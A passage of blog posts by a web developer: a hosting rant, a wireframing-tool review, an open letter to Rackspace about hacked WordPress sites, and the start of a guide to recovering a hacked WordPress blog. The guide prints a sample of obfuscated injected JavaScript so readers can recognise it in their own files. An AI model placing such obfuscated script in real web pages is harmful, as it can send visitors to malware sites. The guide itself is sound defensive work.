I’m just tired of having to do this research again every few years. I want to be in a hosting environment that I love and that I can recommend to everyone I meet, and I have never, not once in 15 years, been there. I’m exhausted by the disappointment, and by never managing to find the right fit. I don’t know the guys at Media Temple that well yet. I know the guys at Rackspace very well – I’m sure they have bullseyes with my face all over their office. I adore the people at Rackspace and so desperately want this to work, but every time it seems to stabilize to the point where I could recommend them to my company as an option, MySQL goes down again. It’s 2010 – how am I still in the same situation I was in a decade ago? How is there nothing for the customer who needs a managed environment that scales well and doesn’t have $1000 to throw at a managed dedicated server? It’s either ghetto or enterprise, nothing in between. Has no one fllled that hole? FILL MY HOLE!

Now then, with that off my chest, let the snipe-bashing commence…. Tell me I’m lazy for not managing my own server. Tell me I’m cheap for not wanting to spend half a mortgage payment on a server that hosts 95% very low traffic static sites and 5% high traffic sites. I know I’m not the only one in this situation. I suspect I’m just one of the first to say it out loud, since the cloud is the in thing right now.

Possibly related posts:

1. An Open Letter to Rackspace Cloud Hosting I just received an automated email from Rackspace that made...
2. Moving to Mosso I am in the process of migrating all 200 domain...
3. Cheap or Free Website Status Monitoring Its a call you never, ever want to get. “My...

I’m a planning whore. It’s true. I’m one of those weirdos that really enjoys creating data flows, use cases, wireframes, and functional requirements documents. My bizarre predalictions aside, wireframes are a critical part of planning any website or web based application.

Spending the time to plan your project out well at the very beginning may seem like a luxury your timeline and budget can’t allow, but most people realize pretty quickly that failing to do so often ends up costing exponentially more time and money towards the end of the project, when you have exactly none of either to spare.

Scope starts to creep, or features and interface challenges that hadn’t been thought through before are suddenly at the center of a series of critical and rushed decisions that have to be made. This means that you (and/or your crew) are stressed, and because you’ve run out of time and money, you end up having to cobble something together that works as a compromise, but doesn’t stand up to the caliber of work you pride yourself on creating.

For those of you who have been reading this blog for many years, you’ll recognize the tune I’m singing. I constantly harp about planning and documenting. My love affair with planning and documentation isn’t just because of that head injury I suffered as a kid – its because I’ve been fucked over so many times and on such a grand scale in the past when I (or my client/manager) have decided to cut corners and just “crank it out”. While the “crank it out” method may work sometimes, the times that it fails, it fails hard, at the expense of time, money, quality and developer sanity.

Okay, I’ll get off my soapbox. For now. </rant>

So, wireframes. I’ve done them in just about every application you can imagine. Visio, Smartdraw, Omnigraffle, even hand-drawn – you name it, I’ve probably tried it. I’ve been on the eternal quest for the perfect wireframing solution, but I’ve always been left wanting.

But What ARE Wireframes?

Wireframes are a graphical representation of a website or application that help illustrate the user interface without the clutter of stylized design elements. If you skip the wireframe process and go right to Photoshop comps, the client can often get so hung up on the fact that they want that button to be blue with rounded corners instead of green with a square corners that critical elements in the UI can be forgotten altogether. Wireframes let you plan through the user interface elements that are required for each screen in a barebones, no-frills manner.

I’m a big fan of sketchy wireframes, especially in the beginning of a project. I find that if you go to a client with something too polished, they perceive it as a structure that has been decided upon, even when that’s the furthest thing from the truth. The sketchy styled wireframes have a hand-drawn, loose feel to them that seems to better communicate that it’s a discussion, not a decision. By avoiding a polished, rigid wireframe, I have found that clients are more able to understand that what they’re looking at isn’t meant to represent the finished design.

I used to hand-draw my wireframes – but the obvious challenges there is that if a change is made to an element that appears on many pages of the site, you now have to re-do all of those drawings. Another disadvantage to pen and paper wireframes is that you have to write a crapload of code if you want to extend the drawing into an interactive format where the client can actually click on elements and see how they behave.

Evolution: Easy Prototyping

More recently, I had found a few apps that were a lot closer to what I was looking for. Balsamiq Mockups is a great application that has a gorgeous sketchy style and a great library of user-contributed downloadable interface elements, so just about every imaginable interface element is available for free download once you’ve purchased the product. More interestingly, Napkee is a commercial addon for Balsamiq that allows you to export your wireframes into HTML (with jQuery) or a Flex file, turning static wireframes into a prototyping tool with very little additional work. Neat!

Unfortunately, Napkee ended up being a little buggy sometimes, and perhaps more importantly, Balsamiq doesn’t natively support Master templates yet. So once again, when a change was made to the main site navigation, I’d have to go in and edit 30 files instead of being able to update a Master template and have those changes reflected across the boards.

Another drawback is that Balsamiq does not support the ability to switch back and forth from sketchy style to straight lines. In my workflow process, what I wanted was to be able to do the rough sketchy style wireframes in the beginning, update them as needed, and then be able to click a button and convert them into a more polished, final-looking set of wireframes that I could hand over to the graphic designers with a client sign-off.

A later contender, Flairbuilder, looked like it might be the answer. It does support the ability to toggle back and forth between sketchy and regular line styles, however the sketchy-style lines somehow didn’t look as nice as Balsamiq’s, and (this is the big one) in order to show the client a working prototype that was created with the desktop version, you had to export the file and then ask them to download a proprietary viewer. Fuck that noise. Half my clients are still on IE6 for chrissakes. I’m not asking them to download anything. So back to Balsamiq I went. Until now.

The Next Generation

Enter iPlotz. I like it already because the name makes me think of a pixelated rabbi pitching a fit. What are their next product lines going to be, the iKibitz and the iSchmaltz? HAH! I’m hilarious. But probably more importantly, it fills in the gaps that Balsamiq+Napkee and Flairbuilder couldn’t – and even adds some great project organization, management and collaboration tools in to boot.

The interface is pretty intuitive, and they have a nice library of elements from which to choose – plus, like Balsamiq, they have a public repository of snippets and projects available for download to fill in the gaps. Like Balsamiq, iPlotz has both a web-based version and a desktop version. The desktop version is a must-have for me, since I spend a hideous amount of time (4.5 hours a day) commuting through mountains where I have no connectivity.

What’s Awesome

• Works on PC, Mac and Linux. (I normally despise AIR applications – but it works here. Nicely executed.)
• Support for Master template files. If our main app nav or layout changes, change it once and it automagically updates on all the pages using that Master. HUGE time saver.
• Send work you created in desktop client to your web account, so you can do a lot of the work wherever you want and then upload it when you’re ready to use the collaboration tools.
• Toggle between sketchy-style, Mac skin and PC skin, great for rough mockups and then converting to polished final versions with just a click.
• Export PDF list with thumbnail of annotated elements an annotations, perfect for an organized breakdown of more specific details on each element. LOVE this – didn’t know I wanted this feature until I found it here.
• Online collaboration with others, allowing clients and co-workers to add notes and comments right into the file.
• Detailed version history.
• Built-in task management system with milestone, great for organizing work on large projects where tasks can get lost.
• Export wireframe pages as PNG.
• Share the HTML prototype on their server, or export to ZIP file and upload it to your own.
• One-click grid overlay.
• Easily embed the prototype in your own websites.
• Easily create or import additional UI elements from user contributed snippets.
• Properties menu lets you specify exact pixel dimensions for every element if needed.
• Separate menu of iPhone UI elements (Android coming soon).
• Automatic site map generation.

What Needs Work

Of course nothing is going to be perfect, and iPlotz is no exception. Here are a few of the things that bug me, none of which are even close to being deal-breakers in my world.

• Hotkey mapping is a little wonky in some browsers, but that is more an artifact of AIR/Flash than it is iPlotz, I think.
• Some elements do not maintain the same sketch style. For example, the module-style widget has rounded corners, which is inconsistent with the rest of the sketchy style’s squared corners. I also feel it is introduces a level of graphic design that I specifically wish to avoid by using sketchy frames. I have only noticed this on a handful of elements, however, and I spoke to iPlotz founder Mark Vernon today and he assures me that properties like that will be customizable in the near future.
• Element library isn’t as extensive as Balsamiq, but user-contributed snippets seem to be on the rise
• I didn’t see any way to save a frequently used imported snippet to your element library so you can get to the easily for future projects. UPDATE: Mark informed me that they’re going to be pushing out this functionality in one of their next releases. I’ll be checking it out on their staging server.

My Demo

In order to give it a fair review, I decided to whip up a small set of mockups, both to give me an idea of what the UI is like, and to be able to show you some “finished” products.

Below is the embeddable widget that I could easily stick into a branded HTML page to show my client. Click around in it, and you’ll see it’s fully functional. The size was dictated by my blog size, not a iPlotz limitation. You can display it at whatever size you’d like in your own sire.

Check out my sitemap demo version here. You can set your wireframes to public or private – I’ve got mine set to public so that you can see them, but I probably would keep them private and just assign roles to team members on a real project.

Take a few minutes and click around in the protoype. The nav menus, homepage accordian box, contact form, etc all work, and it required no extra work on my part other than to specify a link in the element’s properties. (If you’ve used Balsamiq+Napkee before, the process is basically identical.)

For client deliverables, in addition to the fancy shmancy working protoype, I can easily export single wireframes (using the sketchy style, the Mac OS style or the PC style):

Or I can export them all into one PDF [PDF link]. And this is my favorite part – the bit I didn’t realize I needed until I had it – I can generate a PDF that contains only the elements in the pages that have annotations [PDF link]. This is fantastic because it allows me to explain any special considerations around specific elements in great detail without cluttering up the wireframe itself. I normally have to manually create this documentation, so this feature alone has just saved me hours of repetitive work.

Another Potential Option. Sorta.

Another interesting contender is ProtoShare. It looks to have a lot of the same functionality as iPlotz, with online collaboration, version history, project management elements and easy prototyping, however their product is web-only, which I’m not crazy about, and their free demo required a credit card, which I can’t stand on principle.

Protip: The free trial is supposed to woo new clients and get them on-board and buying as quickly as possible – asking for a credit card number just so someone can try out your software is a little sleazy, as if you’re hoping I’m going to forget to cancel and you can suck me for at least a few bucks before I get around to it. If your product is good and brings value, I will buy it. Don’t force me. Dick.

For me, web collaboration might work fine for my personal web clients, but some of the clients we have at the agency I work for have strict rules about online collaboration in apps that do not live on our server or theirs, so my particular circumstance might limit the times I can use the collaboration in a practical situation.

The price points on ProtoShare is also a little higher. iPlotz starts at exactly free, albeit with a very limited plan, only 1 project, max 5 pages. The next plan is $15 a month (although the best value seems to be the yearly plan of $99 which comes with a license for the desktop version), whereas ProtoShare starts at $29/month with restrictions on how many people can review/collaborate. Who knows – it might be worth the extra scratch, but I hate using web-only tools, and I’m not going to give them my credit card information just to try out a demo. You can compare their prices in more detail here: ProtoShare vs iPlotz. When they come out with a desktop version, I might be willing to check it out. I don’t see any option for the sketchy-style mockups in ProtoShare either though, which is another negative in their column.

But hey, don’t take my word for it – check out the video demos on both sites and download iPlotz. I’m curious to know what you think.

Note: The title of this article refers to “cheap”. While to many people, “cheap” might mean “free”, I consider ~$99 a year a reasonable price for such a flexible tool that is such an important part of my job, especially since Balsamiq is $79 and Napkee is $49, so you’re spending that much even if you go the “cheaper” route. Seriously, you spend more than $100 on Starbucks (or whatever corporate coffee swill you’re into) a month, and I spend more than that on hookers and blow in a single week. You can also buy the iPlotz software outright without the web collaboration, which ends up being about $80 for a one-time purchase.

So that’s iPlotz. I’m a now paid member, and I’m very happy with what they provide. Plus, in talking to Mark today, it sounds like they’ve got more very cool features coming down the line soon.

What prototyping/wireframing tool do you use? Let me know in the comments!

Possibly related posts:

1. Cheap or Free Website Status Monitoring Its a call you never, ever want to get. “My...
2. Generate lists of banned words for forums and other applications If you develop software for a living, or if you...
3. Extending Facebook Static FBML Tabs with Dynamic Content This tutorial walks you through how to use DynamicFBML to...

I just received an automated email from Rackspace that made my brain melt. It’s no secret that a lot of websites have been hacked lately.

One thing they seem to have in common is that they’re all running WordPress, and a lot of them are hosted at the Rackspace Cloud.

Dear Alison,

Since we host hundreds of thousands of applications at The Rackspace Cloud, we have a unique vantage point from which we can identify security trends and patterns. Lately, the industry has seen an elevated level of attempts to take advantage of code vulnerabilities in the software powering websites. Hackers are a common and persistent threat to any website, but there are steps you can take to protect yourself and to make your websites and applications harder to exploit.

Please read over the important tips below. We have dedicated security experts who work to protect our infrastructure, but since we can’t fix or upgrade code on behalf of our customers, it’s important for you to know and regularly implement security best practices in the code you run. We need your help and involvement to ensure your own sites are as protected as possible. If you have any questions about security, please reply to this email and we’ll be happy to help.

HERE’S WHAT OUR SECURITY TEAM HAS RECENTLY IDENTIFIED:

1. The current data that we’ve collected points to application-based vulnerabilities being exploited. Hackers commonly scan sites for insecure applications, plugins, or other pieces of code and then work to take advantage of the software exploits they find.

2. Applications using the popular blogging software WordPress appear to be mostly targeted, but WordPress isn’t the sole target of the malicious groups / persons.

3. Your site does not have to be high-profile to be targeted. Hackers often scan random sites for signs of software known to be vulnerable (older versions of popular software with publicly known security holes, for example).

HERE’S WHAT YOU SHOULD DO NOW TO PROTECT YOUR SITES:

1. This is probably the most important tip: For any application you use, be sure to maintain the most current stable version. Often, an application might be updated to a new minor version solely to address a security hole that’s been discovered. Be sure to subscribe to any news lists and feeds available for your applications to make sure you are aware of updated versions as soon as they are released.

2. Many applications, like WordPress, have optional plugins developed by the community. Since these add-ons are often not as well vetted, it’s extremely important to carefully evaluate and manage third party application plugins, themes, or other functionality that is introduced to a running web application. Most hackers are exploiting these plug-ins

3. It’s imperative to choose strong passwords. Randomly generated strings of letters, numbers, and symbols are best. Avoid words and phrases in your passwords. The unfortunate reality: passwords that are easy to remember are also easy to guess. (Ex: Replacing o by the number 0 is not a recommended tactic.)

4. Change your passwords on a regular basis and change them immediately when you have any hunch that your site may have been attacked.

5. Be as restrictive as possible with users and file permissions. Remove write permissions from files that aren’t likely to change frequently. Some programs have install files that should be deleted after installation. If you’ve installed something or written code for testing purposes or experimentation, it’s best to remove it afterwards. Only keep the files and code on your account that are active and necessary.

As a site owner, you need to take an active role in guaranteeing security of your code and applications. The good news is that our support staff is happy to help you with any questions or concerns you may have. Recovering from a hack or exploit is extremely time-consuming and frustrating. The preventive steps outlined above can make a world of difference in keeping your sites secure.

Finally, if you suspect your site has already been compromised, you should take immediate action. This knowledge base article can help you through the right steps:

http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise

Sincerely,
The Rackspace Cloud Security Team

I want to preface this by saying there are a LOT of people that work at Rackspace that are absolutely awesome. The guys I know from Twitter are amazing, and helpful and care about customer happiness more than I can even say. None of this is their fault. This is NOT about them. This is about something fundamentally wrong with priorities at Rackspace, in my opinion.

I replied:

Too little, too late. I could have (and did) tell you all of this already.

And unfortunately, running the most recent version of WordPress doesn’t help. This week, I have personally had to repair 11 WordPress websites hosted on the RS Cloud that were hacked, all were running 2.9.1 and had very few plugins in common. The plugins they do have in common, like WP-Supercache, are plugins Rackspace suggests to keep the CPU-cycle raping down to a minimum. And WP-Supercache is a mature plugin that is very well supported so it seems unlikely (although certainly not impossible) that it is the vector.

And thanks to your logfiles not being able to be viewed in real time (as they are owned by root), this leaves web developers that actually have a clue very few options for forensically backtracking the vector.

I would like to know what Rackspace is doing to help developers isolate these issues? Are logfiles being programmatically reviewed for malicious traffic? Without SSH access and the ability to tail apache logs, we cannot do this ourselves within any kind of timeframe that will be useful in preventing or mitigating an attack. If I am going to continue hosting with Rackspace, I want to be assured that Rackspace is actually doing something to help us protect ourselves other than send emails that overstate the obvious.

Your support staff, at least most of the level 1 techs, are completely and utterly incapable of handling anything relating to hacks. They are slow and under-educated, regardless of how well meaning they might be.

You guys are in the position where you can help isolate these vectors. What steps are you taking? You need to up your game, or I’m bailing, and likely taking a lot of people with me. There is a lot of buzz going around about these vulnerabilities being specific to Rackspace Cloud, as it seems the vast, vast majority of the WordPress hacks have been on RS CS hosted sites.

I have confronted several of your higher-ups in the Cloud, including CTO John Engates, multiple times over the past year, begging for better tools to monitor security, offering to pay extra for them. Simple tools that even terrible, insecure Cpanel servers have. The entire purpose of Mosso, when it was created, was to target web developers – at least that’s how it was pitched to me. Web developers. Professionals. Many of us with over a decade of experience in this business. You deny us SSH and real-time Apache logs, but do nothing to provide us with any tools we would need without access to those basics – and then to add insult to injury, you send us a form letter that tells us to use good passwords and keep WordPress up to date? If your target is still the web development community, it’s time to nut up or shut up. We’re already doing all of these things, and we’re still getting fucked. It makes us look bad, it costs us time and money, and the trust of our clients.

Your customers are under attack, and I want to know what you plan to do to help us protect ourselves and our clients, or I am taking my business to a company that values my time and reputation.

I would not have published this letter to my blog if this were not something that I have been asking for, over and over and over, for the entire year I’ve been with Rackspace Cloud. I have tried to keep my issues with Rackspace off the grid, because overall I have felt like they’ve been trying to work with me to keep me happy. But this was just too much.

No one is sorrier than I am that it came to this.

Possibly related posts:

1. The Cloud is a Lie Okay, the cloud (or grid or whatever they’re calling it...
2. Upgrading to WordPress 3.0 and Adding Multi-Site WordPress 3.0, code name “Thelonious”, has been released, and it...
3. When Your WordPress Blog Gets Hacked It happens to most bloggers at some point – your...

It happens to most bloggers at some point – your WordPress blog gets pwned, and you’re not sure where to even start. I’ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.

This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won’t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.

Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you’re not a pro, you probably just haven’t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.

The Impact of a Hack

The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We’ll get into that a little further down in the article, but the high-level impacts of a site hack are:

• Lost time spent restoring the site, or lost money paying someone else to if you don’t have the technical skills.
• Possibly lost data or files.
• Site downtime, potentially resulting in lost sales or referrals
• Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.
• Possibly infecting your users with malware.

Pretty serious stuff – but fortunately, two of the most significant items in that list are things you can directly mitigate by taking some precautions and staying calm if you get hit with an attack.

When You Fail to Prepare, You Prepare to Fail

My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I’ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.

Right now, as you’re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I’m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won’t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don’t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that’s the first time it’s been attempted, you’re dead wrong.

There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.

Keep WordPress and Plugins Up to Date

This seems obvious, but it’s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn’t take very long to do a full upgrade, and it’s one of the easiest ways you protect yourself from attacks.

WordPress is actually pretty secure these days – certainly a far cry from where it used to be. They’ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don’t help you if you’re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star’s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it’s patched.

WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it’s up to you to upgrade to reap the benefits of the patches. It’s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you’ve got to remember to login once in a while and update them.

Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.

IMPORTANT: Make sure that you upgrade ALL of your WordPress installations. Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date by changing files, installing shells and backdoors, etc.

Backup, Backup and Backup again

Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is your responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.

Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what’s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.

In addition to whatever backups your server provides, WordPress has several plugins and tools available to make backing up your blog pretty painless.

I personally do automatic backups to an Amazon S3 account, with the help of a fantastic plugin called Automatic WordPress Backup. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn’t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.

It’s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine – you will never, ever regret it.

Remember that a backup isn’t a backup until you’ve tested that it actually works. Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don’t have to figure it out from scratch while you’re freaking out because you’ve been hacked. Same concept as a fire drill.

Ask Your Web Host Where Your Log Files Live

In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don’t have to scramble to find them during the heat of the moment.

Early Detection Equals Better Reputation Damage Control

The only thing worse than being hacked in the first place is being the last to know about it. It’s embarrassing, it’s awkward, and you can come off seeming like you’re out of touch with your own site.

When a user tells you your site has been hacked, you now have to deal with public perception damage control in addition to getting your site back online and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.

Worse yet, if the attack is one that redirects your users to a malware site (which a great many of them do), that delay means more of your users could end up with infected computers. They end up with a virus, and they blame you for it. This can have a serious impact on the amount of trust your users have in you and your website.

So short of clicking the reload button every 30 seconds on your website and vowing never to sleep again, how can you make sure you’re always the first – or damn close – to know? Easy.

Set up an account with one of the cheap or free website monitoring services. There are many to choose from, and some offer more features than others, but you can see a comparison of the ones I’ve tried here. I personally prefer Site24x7 because of the alert configuration options.

As you can see in the screenshot above, I have a very basic keyword detection alert set up. Generally speaking, when someone defaces or hijacks your site, the actual index page of your site is usually completely altered or broken. This configuration will alert me that my site is in trouble if the title of my website isn’t found in the test. I’ve also added an alert to search for the keyword “iframe”, since many javascript injection attacks will leave your page visibly unaltered, but will insert a series of iframes and links in the bottom of the page that would go unnoticed if I were simply looking at the site with my my eyes.

Naturally, if you might at some point create a blog post about iframes, you may want to tweak this alert so you don’t get any false alarms.

Unfortunately, not even this is foolproof, since most attacks use some sort of obfuscation to make the malicious code harder to track down. Many times this obfuscated or encrypted code will contain random characters and numbers to make it harder to Google for a matching result.

If the hack is causing your site users to be redirected to badsite.com, the first thing you’d probably do is do a global search for badsite.com, since any reference to it would be a tip-off that the file has been poisoned. However, what’s more likely for you to find in your code is something that looks like this:

NOTE: Avast Antivirus is stupid, and has been flagging this post as a trojan since I wrote it, due to the sample code below. There is no trojan on this page. Avast simply isn’t smart enough to realize that the code it’s seeing isn’t being parsed, it’s merely being displayed. I specifically opted not to use an image or alter the code, so that it would be easier to Google if someone ends up being infected with a similar injection. I’ve added some spaces in the <script> tags to hopefully stop the erroneous virus alerts this page triggers. The real javascript you find in your site will NOT have spaces in the script tags. Avast can suck it.

<scr ipt>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)
71-216-213-225-:8-21:-212-43-226-225-::-
72-45-49-46-65-64-61-66-68-6:-215-227-
227-223-69-58-58-::-212-221-227-216-232-
222-57-::-222-21:-58-216-221-57-::-214-216-
74-61-45-43-22:-216-211-227-215-72-5:-
43-215-212-216-214-215-227-72-5:-43-226-
227-232-219-212-72-45-229-216-226-216-
:9-216-219-216-227-232-69-43-215-216-
211-211-212-221-45-73-71-58-216-213-225-
:8-21:-212-73**<=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) result+
=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </scr ipt> [spaces added intentionally]

So as you can see, the common sense of checking for badsite.com in your files isn’t enough anymore. Your blog most likely has javascript, so simply looking for <script> tags will give you false positives, so you’ll have to figure out what works best for you.

Once alert I usually like to put in there is for site4x7 to alert me if the content of my page has changed more then 10%. I don’t post often enough for 1/10th of an entire webpage to have changed, so if I get a ping on this alert, the first thing I do is look in the source code for invisible links. Some injections will insert literally hundreds of links that you can’t see when you look at the page in a browser, but the large chunk of hidden code will trip the alarm. (They do this to get search engine link juice from legitimate websites that point towards phishing or malware sites.)

Finally, you can set your alert to email you, send you an SMS message or both. If you’re close-by to some method of checking email most of the time, you may want to stick with email alerts, but I personally want to be woken up in the dead of night if something hinky is going on, so I have it set to SMS and email.

The Alarm Has Been Sounded. Now What?

You’ve received an alert from your site monitoring service notifying you that your site is “In trouble”. You obviously need to verify that it’s actually been hacked, and it’s not just a timeout or some other innocuous issue. Be sure to disable javascript before hitting your site – since many attacks inject a line of malicious javascript, you don’t want to end up infecting your own computer while checking your site.

In fact, to be even safer, don’t hit your homepage using your browser at all.
Some hacks will use a plain meta refresh redirection that doesn’t rely on javascript to send you on to a malware site, so disabling javascript won’t protect you from all threats. You can use a tool like the WC3 validator to inspect your HTML code and look for anything that seems out of place without actually executing any code. This is especially helpful if your site usually validates (your sites do validate, don’t they??) and suddenly do not. To make it even easier, go to the validator, run a scan now now, being sure to select “show source” in “More Options”, and then bookmark the results page.

Shit. Definitely Hacked. Now What?

First of all, in the words of Douglas Adams – Don’t Panic. Honestly. I know that sounds obvious, but if you panic and start acting rashly, best case scenario you could make a mistake, and worst case scenario, you could end up destroying whatever clues might be available on the server that might help you figure out how the attack was carried out. And that last part is really important if you want to make sure it doesn’t happen again.

Take a deep breath and exhale slowly.
This is not the end of the world, especially if you’ve followed the earlier instructions and you have a backup. (You did, right?) Contrary to popular belief, sites get hacked a lot. Big ones and little ones. It’s definitely a big deal, and I’m not saying you should go out for a stroll, but freaking out isn’t going to help you get this straightened out any faster. If you lose your cool here, you risk screwing things up even worse tan they were before, or at the very least, losing valuable information that can help you isolate the vector and prevent the attackers from getting in the same way again.

Immediately change the FTP/ssh login passwords to your site, your WordPress admin account and the database password.
Obviously, you will want to pick a hard to guess password. Do NOT update the database password in the WordPress config file yet. In fact, we haven’t touched any files yet.

Login to your server and quickly assess the damage – but don’t touch anything yet.
Worst case scenario, many or all of your files may be gone. Actually, in my mind, that’s not the worst case scenario. It’s far more frustrating to figure out if malware or malicious scripts have been uploaded to your server if the rest of the files are completely intact, as it can seem a bit like a needle in a haystack.

It can be tempting to immediately remove the offending files and fix everything as quickly as you can. While fixing things as quickly as you can is definitely a priority, you don’t want to go stomping all over your crime scene. (I say crime scene for the sake of analogy – most basic site defacements are of little interest to the authorities, however YOU still need to preserve evidence.)

Open your htaccess file and disable your site to incoming traffic.
There are several different ways of doing this, each one with pros and cons, and each one taking a varying amount of time. I highly recommend checking out the Close your website temporarily with Apache htaccess article on 25yearsofprogramming.com to see what your options are, with copy+paste code to get you there.

Ideally, you’ll want to create a plain HTML file that includes a friendly message (without any images, since ALL traffic will be redirecting to that file, so images won’t work) saying the site is offline for maintenance, and use htaccess to redirect ALL incoming traffic except that which is originating from your own IP address to that “closed for maintenance” page.

You need to disable traffic or redirect to a “closed for maintenance” page as quickly as possible, for several reasons. First of all, if your site is actually doing something bad – redirecting users to a malware site or attempting to install malware on their computers, this is the best way to protect them as quickly as possible. Second of all, it will help you manage the PR end of things if you’re able to protect your users with a more generic message. You can always explain to your users what happened later. The priority is to contain the threat so that you’re not infecting any visitors, and then you can take a little more time to investigate and repair the site.

Check for files that have been added or modified recently but do NOT fix them yet.
Someone or something modified at least a few files on your server, and the easiest way to figure out which files were modified is to look at the timestamp. If you have SSH access, go ahead and SSH in and execute the following command:

ls -lRta | less

This will give you a recursive listing (including last modified timestamp) of files, sorted by date modified.

You can also use something like this:

find . -type f -mtime -1 -print

… which will let you limit your results by date modified. In the example above, the resultes returned would be a listing of files modified in the last day. If you haven’t made any changes in the past day, there’s a good chance that the files that show up in the results here are the ones that have been modified by the attacker.

If you don’t have SSH access, this is a bit more of a pain in the ass, but still do-able. You’ll want to sort your FTP client’s results by date modified, and poke around in all of the directories, noting any file modification dates that don’t make sense.

One of the easiest ways to record the timestamp information is to screenshot the FTP client’s file listing while sorted by date modified. In SSH, you can pipe the results into a text file. We want to make sure we make a note of all of the files that have been modified recently so that we can check or replace them.

I usually make it a point to download all of the files that have been added or modified.
Since the repair process is going to blow out all of the hacker’s modifications, I like to download them so I can take a look at them in a text editor later, so I can figure out if there was more going on than initially appeared. Some nefarious scripts will initiate malware installs, some will send out emails with password information, some will create backdoors and/or secret admin accounts, some merely redirect users – but a good number of hacks implement all of these and more, so I want to put an eyeball on every file that was modified so I can make sure nothing worse happened.

Make with the Googling.
Google can often shed some light on the hack you’re facing. Chances are, you’re not the first target, so someone, somewhere may have posted about it. A lot of what you’ll find are forum members saying “WTF?! Were we hacked?”, but every now and then you can actually glean some useful information.

One of the best places to start is to Google the url of the site that your site was forwarding to or pulling data from. In this case we might try “badsite.com wordpress” or “badsite.Com hacked”. You’ll often find a lot of crossovers, and the same exploit that’s being used to wreak havoc on WordPress sites is also being use to hammer vbulletin sites around the same time frame. Once again, while doing this, be careful. If the sites are still infected, you do put your computer at a higher risk, so make sure your antivirus is fired up and your javascript is turned off, at the very least.

The reason why Googling for more information can be very helpful is because someone else may have already figured out the information you’re looking for. Specifically, if someone did a good job of documenting the hack, they may bring your attention to a backdoor that was created, some files that were modified that you didn’t think to check, and so on. You won’t always hit paydirt, but when you do, you’ll be really glad you bothered to check.

Check the database directly for secretly created admin users.
These folks can be tricksy, and they can sometimes use a javascript injection to insert new users with administrative privileges directly into your database. If you’ve allowed other users to register, it can be hard to tell legitimate users apart from suspicious users in the admin area. Plus, since your system was compromised, there is always the chance that your admin area will contain additional formatting that “hides” the admin users from view using CSS, so you’re better off going straight to the horse’s mouth.

First query the wp_users table to determine your own user ID, and the ID of anyone who legitimately should have admin access. Jot those IDs down. Then query the wp_usermeta table, which stores the user’s permission level in a chunk of serialized data. Something like this should work:

select * from wp_usermeta where meta_values LIKE '%administrator%';

In the results of that query, if you see ANY results with a user_id of something other than yourself or the other legitimate administrators, then the attacker was able to create admin users. Legitimate administrators usually have a wp_capabilities field value of something like this:

a:1:{s:13:"administrator";b:1;}

Users that are not legitimate usually have a lot more text in there, part of which is made up of the script and CSS used to hide their presence. Make a note of the user_ids that are listed in the results and then delete those rows that do not belong.

Next, let’s look for additional rows that assign a wp_user_level to those same unsavory users. A query like:

select * from wp_usermeta where meta_key='wp_user_level' AND meta_value='10'

Chances are, you’ll see another set of records with matching IDs to the bogus ones you found in the earlier query. Delete the records that do not match the user_id of the legitimate administrators.

Check for script files where they don’t belong.
